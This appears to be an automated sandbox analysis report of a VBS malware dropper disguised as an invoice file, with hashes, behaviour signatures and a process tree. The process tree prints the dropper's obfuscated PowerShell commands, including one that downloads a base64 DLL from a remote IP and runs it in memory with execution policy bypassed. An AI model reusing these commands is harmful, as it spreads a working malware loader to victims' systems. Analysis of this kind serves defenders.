558d7578710ab52e037abcf275e9ecc00940a8852b910ed427584fadaacde631

General

Target

Factura por pagar N comprobante electronico 005001000603211.vbs
Size

912KB
MD5

2c9e2087047f7eb65a42a31a8407b6d7
SHA1

3686d693284171f624a9ecfaa8e0ec20cfc67791
SHA256

da9f30f6467709340226de7f1e28a62620a6939ed92a60b524dc57e8b486d807
SHA512

6d87c5f1098e9da24df1c090f69be76f26e321437cb8cfd4aec3d6faafd97a37b86d2761f4d12f00e6e098512009d2e8ff62eedf7a2103db42ce223416361731
SSDEEP

6144:8WkHWkXWkHWk3WkHWkCWkHWkxWkHWk0WkHWknWkHWk8WkHWkDWkHWkEWkHWkkWkL:x

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://5.42.199.235/dll/dll3.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	828	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
864	powershell.exe
1672	powershell.exe
828	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	828	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 864	2024	WScript.exe	27
PID 2024 wrote to memory of 864	2024	WScript.exe	27
PID 2024 wrote to memory of 864	2024	WScript.exe	27
PID 2024 wrote to memory of 1672	2024	WScript.exe	30
PID 2024 wrote to memory of 1672	2024	WScript.exe	30
PID 2024 wrote to memory of 1672	2024	WScript.exe	30
PID 1672 wrote to memory of 828	1672	powershell.exe	32
PID 1672 wrote to memory of 828	1672	powershell.exe	32
PID 1672 wrote to memory of 828	1672	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Factura por pagar N comprobante electronico 005001000603211.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAaoUWkAIAA9ACAAJwBaoUWAGkAcQBaoUWACcAOwBbAEIAeQB0AGUAWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AaoUWMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAaoUWMAZQA2ADQAUwB0AaoUWIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAaoUWQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AaoUWIAaQBuAGcAKAAnAGgAdAB0AaoUWAAOgAvAC8ANQAuADQAMgAuADEAOQA5AC4AMgAzADUALwBkAGwAbAAvAGQAbABsADMALgB0AaoUWgAdAAnACkAKQA7AFsAcwB5AaoUWMAdABlAG0ALgBBAaoUWAAcABEAG8AbQBhAGkAbgBdADoAOgBDAaoUWUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAGUAKAAnAEMAZABXAEQAZABCAC4ARABLAGUAUwB2AGwAJwApAC4ARwBlAaoUWQATQBlAaoUWQAaABvAGQAKAAnAE4AbgBJAGEAVQBxACcAKQAuAEkAbgB2AG8AawBlACgAJABuAaoUWUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAnADAALwBpAEUANwBqAE4ALwBkAC8AZQBlAC4AZQB0AaoUWMAYQBwAC8ALwA6AaoUWMAcAB0AaoUWQAaAAnACAALAAgACQAUgBvAGQAYQBDAG8AcAB5ACAALAAgACcARQBZAGoAQwAnACwAIAAnADAAJwAsACAAJwAxACcALAAgACcAJwAgACkAKQA=';$pvNxls = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('aoUW','H') ) );$pvNxls = $pvNxls.replace('GiqG', 'C:\Users\Admin\AppData\Local\Temp\Factura por pagar N comprobante electronico 005001000603211.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $pvNxls
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\Factura por pagar N comprobante electronico 005001000603211.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://5.42.199.235/dll/dll3.txt'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('CdWDdB.DKeSvl').GetMethod('NnIaUq').Invoke($null, [object[]] ('0/iE7jN/d/ee.etsap//:sptth' , $RodaCopy , 'EYjC', '0', '1', '' ))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
88fe708249f98cf20a5f07ab16f0e60d

SHA1
e13f438193a9905a5733fb219c95a123cd16c307

SHA256
6506cbd91e1f98a059f2eaa4785c27012b89abaa5994bc6a4cc965e3203c7fdd

SHA512
d9116fa45525aba80f9166bb572150e86139087e4d3c1b97b8c4c3d50b2e3af06392b087bee1b91fa61879171b36e14b4dd1341c5fa9162f1261fa9b462121e7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
88fe708249f98cf20a5f07ab16f0e60d

SHA1
e13f438193a9905a5733fb219c95a123cd16c307

SHA256
6506cbd91e1f98a059f2eaa4785c27012b89abaa5994bc6a4cc965e3203c7fdd

SHA512
d9116fa45525aba80f9166bb572150e86139087e4d3c1b97b8c4c3d50b2e3af06392b087bee1b91fa61879171b36e14b4dd1341c5fa9162f1261fa9b462121e7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SXDNZ4YMP6OYXYQB2SGS.temp

Filesize
7KB

MD5
88fe708249f98cf20a5f07ab16f0e60d

SHA1
e13f438193a9905a5733fb219c95a123cd16c307

SHA256
6506cbd91e1f98a059f2eaa4785c27012b89abaa5994bc6a4cc965e3203c7fdd

SHA512
d9116fa45525aba80f9166bb572150e86139087e4d3c1b97b8c4c3d50b2e3af06392b087bee1b91fa61879171b36e14b4dd1341c5fa9162f1261fa9b462121e7

Download Submit
memory/828-82-0x0000000002710000-0x0000000002718000-memory.dmp

Filesize
32KB

Download
memory/828-81-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/828-80-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/828-79-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/864-59-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/864-61-0x0000000002834000-0x0000000002837000-memory.dmp

Filesize
12KB

Download
memory/864-63-0x000000000283B000-0x0000000002872000-memory.dmp

Filesize
220KB

Download
memory/864-58-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/1672-70-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1672-78-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1672-72-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1672-71-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1672-69-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/1672-68-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing